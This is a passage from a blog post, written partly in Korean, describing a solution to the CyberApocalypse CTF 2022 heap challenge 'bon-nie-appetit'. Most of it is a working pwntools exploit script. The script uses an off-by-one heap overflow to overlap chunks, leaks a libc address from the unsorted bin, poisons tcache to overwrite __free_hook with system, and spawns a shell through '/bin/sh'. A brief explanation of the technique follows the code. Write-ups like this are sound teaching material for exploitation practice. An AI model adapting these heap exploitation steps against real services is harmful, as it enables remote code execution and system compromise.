[CTF write up] CyberApocalypse CTF 2022 - bon-nie-appetit : Overlapping Chunk

2022. 5. 19. 20:12CTF write up

from pwn import *

context.log_level = 'debug'

def command_create(size,content):
    p.sendline(b'1')
    time.sleep(1)
    p.sendline(str(size).encode())
    time.sleep(1)
    p.send(content)
    time.sleep(1)

def command_show(index):
    p.sendline(b'2')
    time.sleep(1)
    p.sendline(str(index).encode())
    time.sleep(1)

def command_edit(index,content):
    p.sendline(b'3')
    time.sleep(1)
    p.sendline(str(index).encode())
    time.sleep(1)
    p.send(content)
    time.sleep(1)

def command_delete(index):
    p.sendline(b'4')
    time.sleep(1)
    p.sendline(str(index).encode())
    time.sleep(1)

#p = process('bon-nie-appetit')
p = remote('46.101.30.188',31634)

raw_input()
hs = 0x128

for i in range(0,4):
    command_create(hs,b'a'*(hs))

command_edit(0,b'a'*hs+b'\x61\x02')

for i in range(0,7):
    command_create(hs,b'b')

for i in range(0,7):
    command_delete(i+4)

command_delete(1)
command_delete(2)

command_create(0x250,b'x'*(0x130))

command_show(1)

lic = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'lic: {hex(lic)}')

command_edit(1,b'x'*(0x120)+p64(0x0)+b'\x31'+b'\x01'+b'\x00'*6)

for i in range(0,7):
    command_create(hs,b'b')

command_create(hs,b'b')
command_delete(10)

command_delete(1)

system_addr = lic - 0x39c880
libc_base = system_addr - 0x4f420
free_hook = lic + 0x1c48
malloc_hook = lic - 0x70
oneshot = libc_base + 0x10a2fc

command_create(0x250,b'x'*(0x120)+p64(0x0)+b'\x31'+b'\x01'+b'\x00'*6+p64(free_hook))

command_create(0x120,b'/bin/sh')
command_create(0x120,p64(system_addr))

command_delete(10)

p.interactive()

strlen 함수로 사이즈를 정하기 때문에 8배수로 끝나는 사이즈를 할당하면 해당 청크 아래에 있는 힙청크의 헤더를 침범하는 heap overflow가 일어난다. 헤더의 사이즈값을 조작해서 청크 오버래핑을 트리거해서 Unsorted bin leak으로 라이브러리 주소를 구하고 hook_overwrite 하면 된다.

 

tcache는 청크 재사용시에 검증 과정이 없기 때문에 오버래핑으로 영역을 침범당한 청크를 tcache에 넣어준다음 재할당하는 방식으로 AAW를 하면 편하다.

 

 

 

 

 

flag